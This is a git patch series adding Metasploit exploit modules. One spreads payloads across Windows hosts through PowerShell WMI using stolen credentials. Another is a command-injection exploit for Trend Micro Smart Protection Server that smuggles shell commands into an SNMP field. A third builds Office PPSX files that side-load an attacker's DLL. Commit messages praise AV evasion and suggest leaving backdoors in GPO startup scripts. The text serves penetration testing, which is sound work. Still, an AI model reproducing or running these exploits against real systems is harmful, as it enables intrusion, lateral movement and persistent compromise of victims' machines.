From 5bd43bf3d78ba87eb6e71cc8bcb1193da17729b4 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Fri, 4 Mar 2016 19:31:55 -0500 Subject: [PATCH 001/157] Powershell WMI execution post module Powerhell provides direct interface to WMI, allowing users in UAC or otherwise restricted context to attain privileged resources via impersonation. Moreover, WMI allows for execution remotely, on any endpoint attainable via DCOM. In practice, this allows foothold on a single domain host to immediately infect every machine accessible via DCOM either from the currently held privileged context (such as a domain administrator) or from a new context generated by entering acquired credentials. Payloads, remote commands, and collection activities can be invoked without direct IP connectivity on a remote host, and output can be collected the same way. Of particular note when implementing this technique is that admin contexts resulting from this form of execution are not encapsulated in UAC, allowing for immediate privesc to system if creating a new session. Old notes show that loopback exec is not stable or usable, though this merits further research as it seems the native way to avoid UAC altogether without any exploitation. As with all the other powershell vectors, this mechanism provides in-memory execution, and in all our testing walks right through the AV currently out there since it has no service executable, on-disk footprint, or even error log from the improper service exit that psexec causes. Sandboxes dont cover powershell - too much runtime entropy and some quite legitimate use of sockets and unmanaged memory marshalling to get a good "guess" of what the code is trying to do. Makes for a great gift left behind in GPO startup scripts or other latent backdoor approaches. Since a script is produced, those with the need and craft can alter the resulting scripts to dynamically enumerate domain hosts meeting their needs for exploitation at runtime, as opposed to the "brute-force" approach used here. ----- Testing: The internal module has been in use for over three years in our fork. Its been instrumental in showing several clients what it means to be "pwned" in 30s flat. This particular version has been slightly altered for upstream consumption and should be tested again by community and developers alike in the upstream branch. Note: Word to the wise on target selection - choose carefully, it is possible to generate more sessions than an L3 pivoted handler can comfortably address, and having a thousand reverse_tcp sessions going past the edge is sure to raise an eyebrow at the SOC. --- modules/exploits/windows/local/ps_wmi_exec.rb | 184 ++++++++++++++++++ 1 file changed, 184 insertions(+) create mode 100644 modules/exploits/windows/local/ps_wmi_exec.rb diff --git a/modules/exploits/windows/local/ps_wmi_exec.rb b/modules/exploits/windows/local/ps_wmi_exec.rb new file mode 100644 index 0000000000..6d4ac5906f --- /dev/null +++ b/modules/exploits/windows/local/ps_wmi_exec.rb @@ -0,0 +1,184 @@ +# -*- coding: binary -*- +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +## +# Ideally the methods to create WMI wrapper functions and their callers +# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb. +## + +require 'msf/core' +require 'msf/core/exploit/powershell/dot_net' +require 'msf/core/post/windows/powershell' +require 'msf/core/post/windows/priv' + +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Windows::Powershell + include Msf::Exploit::Powershell::DotNet + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => "Current User WMI Exec Powershell", + 'Description' => %q{ + This module uses WMI execution to launch a payload instance on a remote machine. + In order to avoid AV detection, all execution is performed in memory via psh-net + encoded payload. Persistence option can be set to keep the payload looping while + a handler is present to receive it. By default the module runs as the current + process owner. The module can be configured with credentials for the remote host + with which to launch the process. + }, + 'License' => MSF_LICENSE, + 'Author' => 'RageLtMan ', + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => { 'Space' => 8192 }, + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Universal', {} ] ], + 'DefaultTarget' => 0, + + )) + + register_options( + [ + OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]), + OptString.new('USERNAME', [false, "Username to authenticate as"]), + OptString.new('PASSWORD', [false, "Password to authenticate with"]), + OptString.new('DOMAIN', [false, "Domain or machine name"]), + + ], self.class) + + register_advanced_options( + [ + OptBool.new('PERSIST', [false, 'Run the payload in a loop']), + OptBool.new('RUN_REMOTE_WOW64', [ + false, + 'Execute powershell in 32bit compatibility mode, payloads need native arch', + false + ]), + + ], self.class) + + end + + def build_script + run_opts = {} + run_opts[:username] = datastore['USERNAME'] + run_opts[:domain] = datastore['DOMAIN'] || '.' + run_opts[:password] = datastore['PASSWORD'] + + # End of file marker + eof = Rex::Text.rand_text_alpha(8) + env_suffix = Rex::Text.rand_text_alpha(8) + + # Create base64 encoded payload + psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw) + if datastore['PERSIST'] + fun_name = Rex::Text.rand_text_alpha(rand(2)+2) + sleep_time = rand(5)+5 + psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}" + end + psh_payload = compress_script(psh_payload_raw, eof) + # WMI exec function - this is going into powershell.rb after pull 701 is commited + script = ps_wmi_exec(run_opts) + # Build WMI exec calls to every host into the script to reduce PS instances + # Need to address arch compat issue here, check powershell.exe arch, check pay arch + # split the hosts into wow64 and native, and run each range separately + ps_bin = datastore['RUN_REMOTE_WOW64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' + # for whatever reason, passing %systemroot% instead of 'C:\windows' fails + + if datastore["RHOSTS"] + # Iterate through our hosts list adding a call to the WMI wrapper for each. + # This should learn to differentiate between hosts and call WOW64 as appropriate, + # as well as putting the payload into a variable when many hosts are hit so the + # uploaded script is not bloated since each encoded payload is bulky. + + Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |host| + if run_opts[:username] and run_opts[:password] + script << " New-RemoteProcess -rhost \"#{host}\" -login \"#{run_opts[:domain]}\\#{run_opts[:username]}\"" + script << " -pass '#{run_opts[:password]}' -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";" + else + script << " New-RemoteProcess -rhost \"#{host}\" -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";" + end + end + else + print_status('Running Locally') + script = psh_payload_raw + end + return script + end + + def exploit + + # Make sure we meet the requirements before running the script + # Shell sessions can't kill PIDs + if !(session.type == "meterpreter" || have_powershell?) + print_error("Incompatible Environment") + return + end + # SYSTEM doesnt have credentials on remote hosts + if is_system? and datastore['RHOSTS'] + print_error("Cannot run as system") + return 0 + end + + script = build_script +print_good script if datastore['PSH::dry_run'] + # + print_good("#{datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)}") + print_good('Finished!') + end + + # Wrapper function for instantiating a WMI win32_process + # class object in powershell. + # Insantiates the [wmiclass] object and configures the scope + # Sets impersonation level and injects credentials as needed + # Configures application startup options to hide the newly + # created window. Adds start-up check for remote proc. + def ps_wmi_exec(opts = {}) + + ps_wrapper = < Date: Sat, 5 Mar 2016 02:12:25 -0500 Subject: [PATCH 002/157] Address void-in's comments Drop session type check Camel case advanced options Clean up persistence, dry run, and error messages. Clean up copyright/license clause. --- modules/exploits/windows/local/ps_wmi_exec.rb | 33 +++++++++---------- 1 file changed, 16 insertions(+), 17 deletions(-) diff --git a/modules/exploits/windows/local/ps_wmi_exec.rb b/modules/exploits/windows/local/ps_wmi_exec.rb index 6d4ac5906f..8bc0d7bb96 100644 --- a/modules/exploits/windows/local/ps_wmi_exec.rb +++ b/modules/exploits/windows/local/ps_wmi_exec.rb @@ -1,13 +1,8 @@ # -*- coding: binary -*- -## -# $Id$ -## ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## @@ -29,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super(update_info(info, - 'Name' => "Current User WMI Exec Powershell", + 'Name' => "Authenticated WMI Exec via Powershell (Local Exploit)", 'Description' => %q{ This module uses WMI execution to launch a payload instance on a remote machine. In order to avoid AV detection, all execution is performed in memory via psh-net @@ -49,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Local 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Universal', {} ] ], 'DefaultTarget' => 0, + 'DisclosureDate'=> "Aug 19 2012" )) @@ -63,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Local register_advanced_options( [ - OptBool.new('PERSIST', [false, 'Run the payload in a loop']), - OptBool.new('RUN_REMOTE_WOW64', [ + OptBool.new('PowerShellPersist', [false, 'Run the payload in a loop']), + OptBool.new('RunRemoteWow64', [ false, 'Execute powershell in 32bit compatibility mode, payloads need native arch', false @@ -86,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local # Create base64 encoded payload psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw) - if datastore['PERSIST'] + if datastore['PowerShellPersist'] fun_name = Rex::Text.rand_text_alpha(rand(2)+2) sleep_time = rand(5)+5 psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}" @@ -97,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Local # Build WMI exec calls to every host into the script to reduce PS instances # Need to address arch compat issue here, check powershell.exe arch, check pay arch # split the hosts into wow64 and native, and run each range separately - ps_bin = datastore['RUN_REMOTE_WOW64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' + ps_bin = datastore['RunRemoteWow64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' # for whatever reason, passing %systemroot% instead of 'C:\windows' fails if datastore["RHOSTS"] @@ -125,8 +121,8 @@ class Metasploit3 < Msf::Exploit::Local # Make sure we meet the requirements before running the script # Shell sessions can't kill PIDs - if !(session.type == "meterpreter" || have_powershell?) - print_error("Incompatible Environment") + if !have_powershell? + print_error("Incompatible environment - PowerShell is required") return end # SYSTEM doesnt have credentials on remote hosts @@ -136,10 +132,14 @@ class Metasploit3 < Msf::Exploit::Local end script = build_script -print_good script if datastore['PSH::dry_run'] + + if datastore['Powershell::Post::dry_run'] + print_good script + return + end # print_good("#{datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)}") - print_good('Finished!') + vprint_good('PSH WMI exec is complete.') end # Wrapper function for instantiating a WMI win32_process @@ -177,7 +177,6 @@ EOS EOS - return ps_wrapper end From 6b2421e86152ff90a2e618a1eaab0c7fc01f1fd3 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 22 Mar 2016 03:35:02 -0400 Subject: [PATCH 003/157] Use OJ's suggestion for fail_with --- modules/exploits/windows/local/ps_wmi_exec.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/ps_wmi_exec.rb b/modules/exploits/windows/local/ps_wmi_exec.rb index 8bc0d7bb96..39c9aeba44 100644 --- a/modules/exploits/windows/local/ps_wmi_exec.rb +++ b/modules/exploits/windows/local/ps_wmi_exec.rb @@ -120,14 +120,14 @@ class Metasploit3 < Msf::Exploit::Local def exploit # Make sure we meet the requirements before running the script - # Shell sessions can't kill PIDs - if !have_powershell? - print_error("Incompatible environment - PowerShell is required") - return + unless have_powershell? + fail_with(Failure::BadConfig, 'PowerShell not found') end + + # SYSTEM doesnt have credentials on remote hosts if is_system? and datastore['RHOSTS'] - print_error("Cannot run as system") + print_error("Cannot run as local system on remote hosts") return 0 end @@ -137,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local print_good script return end - # + print_good("#{datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)}") vprint_good('PSH WMI exec is complete.') end From fce78dce44d96e461fba1a43cc5845e5fd88c216 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 22 Mar 2016 03:35:37 -0400 Subject: [PATCH 004/157] Remove dependency on dot_net PR --- modules/exploits/windows/local/ps_wmi_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/local/ps_wmi_exec.rb b/modules/exploits/windows/local/ps_wmi_exec.rb index 39c9aeba44..1d552c08c1 100644 --- a/modules/exploits/windows/local/ps_wmi_exec.rb +++ b/modules/exploits/windows/local/ps_wmi_exec.rb @@ -11,7 +11,6 @@ ## require 'msf/core' -require 'msf/core/exploit/powershell/dot_net' require 'msf/core/post/windows/powershell' require 'msf/core/post/windows/priv' From 1320647f31c8c68972aa5375a156d96e88235205 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Mon, 8 Aug 2016 18:47:46 +0000 Subject: [PATCH 005/157] Exploit for Trend Micro Smart Protection Server (CVE-2016-6267). --- .../linux/http/trendmicro_sps_exec.rb | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 modules/exploits/linux/http/trendmicro_sps_exec.rb diff --git a/modules/exploits/linux/http/trendmicro_sps_exec.rb b/modules/exploits/linux/http/trendmicro_sps_exec.rb new file mode 100644 index 0000000000..87b1c4ae31 --- /dev/null +++ b/modules/exploits/linux/http/trendmicro_sps_exec.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' +require 'base64' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection", + 'Description' => %q{ + This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection. + Please note: authentication is required to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ['CVE-ID', 'CVE-2016-6267'] + ], + 'Platform' => 'linux', + 'Targets' => [ [ 'Linux', {} ] ], + 'Payload' => { 'BadChars' => "\x00" }, + 'CmdStagerFlavor' => [ 'bourne' ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DisclosureDate' => "Aug 8 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]), + OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]), + OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']), + OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']), + ], self.class) + end + + + def check + opts = login + if opts + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"), + 'headers'=> + { + 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + } + }) + if res and res.code == 200 + version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*]*>([^<]*)[^<]*]*>]*>([^<]*) 'POST', + 'version' => '1.0', + 'timeout' => 1, + 'uri' => normalize_uri(uri, 'php/admin_notification.php'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers'=> + { + 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + }, + 'vars_post' => { + 'EnableSNMP' => 'on', + 'Community' => 'hello', + 'submit' => 'Save', + 'pubkey' => '', + 'spare_EnableSNMP' => 1, + 'spare_Community' => "test;#{cmd}", + 'spare_EnableIPRestriction' => 0, + 'spare_AllowGroupIP' => '', + 'spare_AllowGroupNetmask' => '', + 'sid' => opts["sid"] + } + }) + end + + def login + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + }) + if res and res.code == 200 and !res.get_cookies.empty? + sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip + sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first + n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first + nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first + asn1_sequence = OpenSSL::ASN1::Sequence.new( + [ + OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)), + OpenSSL::ASN1::Integer.new("0x10001".to_i(16)) + ] + ) + public_key = OpenSSL::PKey::RSA.new(asn1_sequence) + creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}" + data = Base64.encode64(public_key.public_encrypt(creds)) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "auth.php"), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers'=> + { + 'Cookie' => "#{sid}=#{sid_value}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + }, + 'vars_post' => { + 'data' => data, + 'sid' => sid + } + }) + if res and res.code == 302 + if res.headers.key?('Set-Cookie') + sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first + sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first + end + return {"sid" => sid, "sid_value" => sid_value} + end + end + nil + end + + def exploit + opts = login + if opts + print_status("Successfully logged in.") + print_status("Exploiting...") + execute_cmdstager(opts=opts) + else + print_error("An error occured while loggin in.") + end + end +end From b935e3df2e102c5caf57289cb27d99a69b1f7f92 Mon Sep 17 00:00:00 2001 From: Yorick Koster Date: Tue, 9 Aug 2016 12:29:08 +0200 Subject: [PATCH 006/157] Office OLE Multiple DLL Side Loading Vulnerabilities Multiple DLL side loading vulnerabilities were found in various COM components. These issues can be exploited by loading various these components as an embedded OLE object. When instantiating a vulnerable object Windows will try to load one or more DLLs from the current working directory. If an attacker convinces the victim to open a specially crafted (Office) document from a directory also containing the attacker's DLL file, it is possible to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system. --- .../office_ole_multiple_dll_hijack.rb | 928 ++++++++++++++++++ 1 file changed, 928 insertions(+) create mode 100644 modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb diff --git a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb new file mode 100644 index 0000000000..a6b2cfc85f --- /dev/null +++ b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb @@ -0,0 +1,928 @@ +require 'zip' +require 'base64' +require 'msf/core' +require 'rex/ole' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities', + 'Description' => %q{ + Multiple DLL side loading vulnerabilities were found in various COM components. + These issues can be exploited by loading various these components as an embedded + OLE object. When instantiating a vulnerable object Windows will try to load one + or more DLLs from the current working directory. If an attacker convinces the + victim to open a specially crafted (Office) document from a directory also + containing the attacker's DLL file, it is possible to execute arbitrary code with + the privileges of the target user. This can potentially result in the attacker + taking complete control of the affected system. + }, + 'Author' => 'Yorick Koster', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-6132'], + ['CVE', '2015-6128'], + ['CVE', '2015-6133'], + ['CVE', '2016-0041'], + ['CVE', '2016-0100'], + ['CVE', '2016-3235'], + ['MSB', 'MS15-132'], + ['MSB', 'MS16-014'], + ['MSB', 'MS16-025'], + ['MSB', 'MS16-041'], + ['MSB', 'MS16-070'], + ['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'], + ['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'], + ['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'PAYLOAD' => 'windows/exec', + 'CMD' => 'C:\\Windows\\System32\\calc.exe', + }, + 'Payload' => { 'Space' => 2048, }, + 'Platform' => 'win', + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Targets' => + [ + [ 'All', {} ], + [ + 'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)', + { + 'DLL' => 'mqrt.dll', + # {ecabafc9-7f19-11d2-978e-0000f8757e2a} + 'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A" + } + ], + [ + 'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)', + { + 'DLL' => 'spframe.dll', + # {D27CDB6E-AE6D-11cf-96B8-444553540000} + 'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00" + } + ], + [ + 'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)', + { + 'DLL' => 'wuaext.dll', + # {D93CE8B5-3BF8-462C-A03F-DED2730078BA} + 'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA" + } + ], + [ + 'Shutdown UX / Windows 10 / Office 2016 (MS15-132)', + { + 'DLL' => 'wuaext.dll', + # {14ce31dc-abc2-484c-b061-cf3416aed8ff} + 'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF" + } + ], + [ + 'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)', + { + 'DLL' => 'phoneinfo.dll', + # {B9033E87-33CF-4D77-BC9B-895AFBBA72E4} + 'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4" + } + ], + [ + 'Microsoft Visio 2010 / Windows 7 (MS16-070)', + { + 'DLL' => 'msoutls.dll', + # 6C92B806-B900-4392-89F7-2ED4B4C23211} + 'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11" + } + ], + [ + 'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)', + { + 'DLL' => 'elsext.dll', + # {394C052E-B830-11D0-9A86-00C04FD8DBF7} + 'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7" + } + ], + [ + 'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)', + { + 'DLL' => 'oci.dll', + # {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d} + 'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D" + } + ], + [ + 'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)', + { + 'DLL' => 'wab32res.dll', + # {32714800-2E5F-11d0-8B85-00AA0044F941} + 'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41" + } + ], + [ + 'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)', + { + 'DLL' => 'iasdatastore2.dll', + # {48da6741-1bf0-4a44-8325-293086c79077} + 'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77" + } + ], + [ + 'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)', + { + 'DLL' => 'ehTrace.dll', + # {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4} + 'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4" + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 8 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), + ], self.class) + end + + def exploit + if target.name == 'All' + targets = @targets + else + targets = [ target ] + end + + @arch.each do |a| + exploit_regenerate_payload('win', a, nil) + targets.each do |t| + if t.name == 'All' + next + end + print_status("Using target #{t.name}") + + dll_name = t['DLL'] + if target.name == 'All' + ppsx_name = t.name.split(/\//).first + ".ppsx" + else + ppsx_name = datastore['FILENAME'] + end + + print_status("Creating the payload DLL (#{a})...") + + opts = {} + opts[:arch] = [ a ] + dll = generate_payload_dll(opts) + dll_path = store_file(dll, a, dll_name) + print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share") + + print_status("Creating the PPSX file...") + ppsx = get_ppsx(t['CLSID']) + ppsx_path = store_file(ppsx, a, ppsx_name) + print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share") + end + end + end + + def store_file(data, subdir, filename) + ltype = "exploit.fileformat.#{self.shortname}" + + if ! ::File.directory?(Msf::Config.local_directory) + FileUtils.mkdir_p(Msf::Config.local_directory) + end + + subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '') + if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir) + FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir) + end + + if filename and not filename.empty? + if filename =~ /(.*)\.(.*)/ + ext = $2 + fname = $1 + else + fname = filename + end + else + fname = "local_#{Time.now.utc.to_i}" + end + + fname = ::File.split(fname).last + + fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') + fname << ".#{ext}" + + path = File.join(Msf::Config.local_directory + "/" + subdir, fname) + full_path = ::File.expand_path(path) + File.open(full_path, "wb") { |fd| fd.write(data) } + + report_note(:data => full_path.dup, :type => "#{ltype}.localpath") + + full_path.dup + end + + def create_ole(clsid) + ole_tmp = Rex::Quickfile.new('ole') + stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) + + stm = stg.create_stream("\x01OLE10Native") + stm.close + + directory = stg.instance_variable_get(:@directory) + directory.each_entry do |entry| + if entry.instance_variable_get(:@_ab) == 'Root Entry' + clsid = Rex::OLE::CLSID.new(clsid) + entry.instance_variable_set(:@_clsId, clsid) + end + end + + # write to disk + stg.close + + ole_contents = File.read(ole_tmp.path) + ole_tmp.close + ole_tmp.unlink + + ole_contents + end + + def get_ppsx(clsid) + data = Base64.decode64(%Q|UEsDBBQABgAIAAAAIQDgkYqZ2AEAADgNAAATAAgCW0NvbnRlbnRfVHlwZXNdLnht +bCCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMl9tO4zAQ +hu9X4h0i36LELSyHRU25APZqd0ECHsBNJq3BJ9nu6e0ZJ6WqUNrAQoVvKrkz//9/ +dkeJO7hcSJHMwDquVU76WY8koApdcjXOyePD7/ScJM4zVTKhFeRkCY5cDg9+DB6W +BlyCauVyMvHeXFDqiglI5jJtQGGl0lYyj0s7poYVz2wM9KjXO6WFVh6UT33wIMPB +NVRsKnxys8CvG5IRVyS5avpCVE6YMYIXzGOZzlT5JiTVVcULKHUxlSjJtIDb0RMU +ntBW/7ms3vhzGfgWaai0a54MjFtFdaFdY0G4j21kdVIZKuseN+HGHWLDloRQ2R6w +XTfbqes+YdRfWzbHQQkBtzhDlpeQ3DHr/zGJdtQYT40Fh921abYbtTty00yKzAkM +dBM9zyTj6vWItpHU3X+Z8zjsm4v+XrAa73cxrWj2w9FFEDR3Vhv31elr4y6CGYf5 